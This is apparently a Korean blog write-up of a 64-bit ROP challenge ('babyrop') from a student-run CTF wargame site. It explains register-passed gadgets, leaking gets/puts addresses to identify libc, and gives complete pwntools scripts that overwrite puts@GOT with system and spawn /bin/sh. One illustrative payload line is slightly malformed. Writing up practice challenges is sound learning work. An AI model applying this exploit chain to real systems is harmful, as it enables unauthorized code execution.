728x90

GgangCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는

http://123.143.18.212:4000/입니다.

저희 학교 과(동아리)에서 운영중인 사이트이므로 많은 분들이 방문해서 문제 풀어보시길 바랍니다~!!

 

오늘 풀어볼 문제는 Ggang CTF에 있는 포너블 분야의 문제로

64비트 ROP 문제입니다.

 

해당 문제 이름처럼 ROP 기법을 통해서 문제를 풀 수 있는데,

64비트는 함수 인자가 스택과 레지스터를 통해서 전달되기 때문에

사용할 gadget과 페이로드 작성법이 다릅니다.

 

32비트에서는 pop 아무 레지스터 ret gadget을 사용했지만,

64비트에서는 첫 번째, 두 번째 인자마다 사용되는 레지스터가 다르기 때문에

유의해서 gadget을 사용해야 합니다.

 

첫 번째 인자는 pop rdi,

두 번째 인자는 pop rsi,

세 번째 인자는 pop rdx,

네 번째 인자는 pop rcx,

다섯 번째 인자는 pop r8,

여섯 번째 인자는 pop r9,

일곱 번째 인자부터 스택

이므로 인자 개수에 따라서 어떤 레지스터에 저장되는지 확인을 해야합니다.

 

더불어, 32비트에서는 p32(write_plt) + p32(p3ret) + p32(1) + p32(read_got) + p32(4)

식으로 함수 + gadget + 인자 형식으로 작성했지만,

 

64비트는 gadget이 먼저 나오고 인자 +함수 형식입니다.

ex. p32(p3ret) +  p32(1)p32(read_got) + p32(4) + p32(write_plt)

 

(빨간 글씨: gadget, 파란 글씨: 함수, 보라 글씨: 함수 인자)

 


자 그럼 문제 풀이를 시작해봅시다.

 

 

문제

 

babyrop 라는 제목과 문제 설명을 통해서 기초 rop 문제일 것 같다는 추측을 해볼 수 있습니다.

접속 주소와 실행파일이 있으니, 실행파일을 다운받아 봅시다.

 

실행 파일에 걸린 보안 기법은 다음과 같습니다.

 

보안기법

 

역시나, NX 기법이 적용되어 있습니다.

 

코드 분석

실행 파일을 IDA Pro로 열어서 분석해봅시다.

 

 

main 코드

 

main 코드는 상당히 간단합니다.

init_program 함수를 실행시키고,

gets로 입력받아

"Yeah~ Success!"를 출력하고 종료됩니다.

 

여기서 init_program 함수는 버퍼를 클리어하는 것처럼 보이고,

gets 함수를 사용하기 때문에 bof가 발생할 수 있습니다.

 

여기서, 사용된 함수는 gets와 puts이므로 이를 활용해서 rop 기법이 담긴 페이로드를 작성해야 합니다.

 


libc 버전 알아내기

우선, 어떤 libc를 기반으로 하는지 알아야 system 함수의 주소를 알 수 있습니다.

 

ASLR 기법이 걸려 있어서 항상 libc_base의 주소가 변경되지만, 하위 1.5바이트는 000으로 유지됩니다.

어떤 함수의 실제 주소는 libc_base + 해당 함수의 offset으로 볼 수 있는데,

offset은 libc 버전에 따라서 다르고 함수마다 정해져 있습니다.

(offset은 변하지 않고, libc_base 주소만 변함)

 

즉, 어떤 함수의 실제 주소에서 하위 1.5바이트는 아무리 ASLR이 적용되어도 변하지 않는다는 의미입니다.

(함수마다 offset은 정해져있고, libc_base 하위 1.5바이트는 000으로 유지되므로

둘이 더한 값이 실제 함수 주소이며, 하위 1.5바이트는 offset에 포함되니까...)

 

그러므로, 특정 어떤 함수의 주소를 알게되면 하위 1.5바이트 부분을 통해서

어떤 버전의 libc를 사용하는지 알 수 있다는 것입니다.


이를 알 수 있는 도구가 있습니다.

libc-database라는 것으로 대부분의 libc 버전에 대한 정보를 담고 있어,

실제 함수의 1.5바이트 정보를 입력해주면 어떤 버전인지 알 수 있습니다.

(사용법은 다음 사이트 https://s1m0hya.tistory.com/20를 참조해서 익히시길 바랍니다. )

 

libc-database 사용해보기

github에 들어가서 libc-database라고 검색해보자. 자세한 설명은 이곳에 나와있습니다. https://github.com/niklasb/libc-database niklasb/libc-database Build a database of libc offsets to simplify exploit..

s1m0hya.tistory.com


자 그러면, 실제 함수 주소를 알 수 있을만한 것은 이미 사용된 gets와 puts라고 볼 수 있습니다.

 

gets와 puts의 주소를 알아내는 페이로드를 짜봅시다.

 

이 두 개의 함수는 인자를 한 개만 받으므로 gadget은 pop rdi ret을 사용해야 합니다.

 

gadget 찾기

 

gadget 주소: 0x40122b

 

이를 바탕으로 페이로드를 짜보면 다음과 같습니다.

from pwn import*
context.log_level ="debug"

p = remote("123.143.18.212", 50007)
e = ELF("./rop")

puts_plt = e.plt['puts']
puts_got = e.got['puts']

gets_plt = e.plt['gets']
gets_got = e.got['gets']

p1r = 0x40122b

payload = "a"*16 + "b"*8

payload += p64(p1r) + p64(gets_got) + p64(puts_plt)

payload += p64(p1r) + p64(puts_got) + p64(puts_plt)
p.sendline(payload)
p.recvline()

p.interactive()

입력 받는 v4가 sfp까지 0x10 즉, 16바이트이므로,

16바이트 더미로 다 채워주고 sfp를 8바이트 더미로 다 채워줍니다.

 

puts주소와 gets주소를 알기 위해서

 

gadget + 인자로 gets_got + 함수 puts

gadget + 인자로 puts_got + 함수 puts

 

즉, puts 함수로 gets 주소와 puts 주소를 출력하는 것입니다.

 

실행 결과는 다음과 같습니다.

 

 

libc_leak.py 실행결과

 

debug로 값을 확인해보면,

gets: 0x7f94a4c55d90

puts: 0x7f94a4c566a0

임을 알 수 있습니다.

 

실행을 여러 번해도 바뀌지 않는 부분은 바로 하위 세 자리인

gets의 d90, puts의 6a0 입니다.

 

그래서 해당 값을 가지는 libc 버전을 찾은 결과 다음과 같습니다.

 

libc-database로 libc 버전 찾기

 

교집합인 결과는 바로

libc6_2.23-0ubuntu11.2_amd64 입니다. 

 

사용된 libc의 종류를 알게되었으니, 해당 버전에서의 gets_offset과 system_offset을 알 수 있습니다.

 

 

offset 구하기

 

system_offset: 0x0453a0

gets_offset: 0x06ed90

 

자 이제 필요한 것들을 알았으니 payload를 작성해봅시다.

 

일반적인 ROP 문제와 비슷한 페이로드 구조입니다.

 

필요한 과정

1.

gets의 실제 주소를 알아내기

 

2.

gets 실제 주소를 알아내서 gets_offset과 빼서 libc_base를 구하고,

libc_base에 system_offset을 더해서 system 주소를 알아냅니다.

 

3.

gets 함수로 bss 영역에 "/bin/sh" 입력하기

(bss 영역 주소: 0x404040)

/*bss영역은 IDA에서 구할 수도 있고,

리눅스 환경에서 readelf -S ./rop 명령어로 구할 수 있음*/

 

4.

puts_got를 system 함수 주소로 덮어쓰기

 

5.

puts 실행(system 함수 실행)

인자로 "/bin/sh"가 들어있는 주소 넘기기


페이로드 해설

이 과정을 구현시킨 페이로드는 다음과 같습니다.

from pwn import*
context.log_level ="debug"

p = remote("123.143.18.212", 50007)
e = ELF("./rop")
#libc = ELF("./libc6_2.23-0ubuntu11.2_amd64.so")

puts_plt = e.plt['puts']
puts_got = e.got['puts']

gets_plt = e.plt['gets']
gets_got = e.got['gets']

p1r = 0x40122b
bss = 0x404040
gets_offset = 0x06ed90
system_offset = 0x0453a0


payload = "a"*16 + "b"*8

payload += p64(p1r) + p64(gets_got) + p64(puts_plt)

payload += p64(p1r) + p64(bss) + p64(gets_plt)

payload += p64(p1r) + p64(puts_got) + p64(gets_plt)

payload += p64(p1r) + p64(bss) + p64(puts_plt)
p.sendline(payload)
p.recvline()

gets_address = u64(p.recv(6) + "\x00"*2)

libc_base = gets_address - gets_offset

system_address = libc_base + system_offset

p.sendline("/bin/sh")

p.send(p64(system_address))


p.interactive()

 

우선, 앞서 설명한 것처럼 페이로드는 sfp까지 더미로 채우고

chaining으로

puts 함수 사용, gets 함수 사용, gets 함수 사용, puts 함수 사용

순으로 함수가 여러 번 실행되게끔 합니다.

 

첫 번째 puts 함수는  함수 인자로 gets_got를 넘겨줘서 실제 gets 주소를 알아냅니다.

 

gets 주소는 6바이트인데, u64는 8바이트를 요구하므로 뒤에 널 문자 2바이트를 추가해야 합니다.

(이 부분 때문에 오류 많이나고 시간을 많이 까먹었어요.....ㅠ)

(새롭게 안 사실, gets_address = u64(p.recv(6).ljust(8,"\x00")) 이것도 가능!!!)

 

두 번째 함수인 gets 함수는 함수 인자로 bss영역을 넣어서,

"/bin/sh"를 입력할 수 있게 합니다.

 

세 번째 함수인 gets 함수는 함수 인자로 puts_got를 넣어서,

GotOverwrite를 일으키는 목적입니다.

puts_got에 system 함수 주소가 들어가게 되면

다음에 puts 함수를 실행할 때 system 함수가 실행됩니다.

 

마지막으로 네 번째 함수인 puts 함수

실제로 system 함수가 실행됩니다.

그래서 인자로 bss 영역 주소를 넣어주어 

쉘을 따도록 합니다.

 

해당 페이로드를 실행시키면,

 

플래그 얻기

 

이렇게 플래그를 얻을 수 있습니다.

 


시간이 정말 많이 걸렸는데,

우선 libc가 주어지지 않았을 때 어떻게 libc 버전을 확인하고 libc_base leak을 발생시키는지 알게 되었다.

 

더불어, 페이로드를 작성하고 context.log_level = "debug"를 통해서

작성한 페이로드를 확인하는데 익숙해질 수 있었고,

 

gets 주소 6바이트 받는 부분에서 오류가 많이 난 것이 이 문제 풀이에서 걸림돌이었던 것 같다.

 

728x90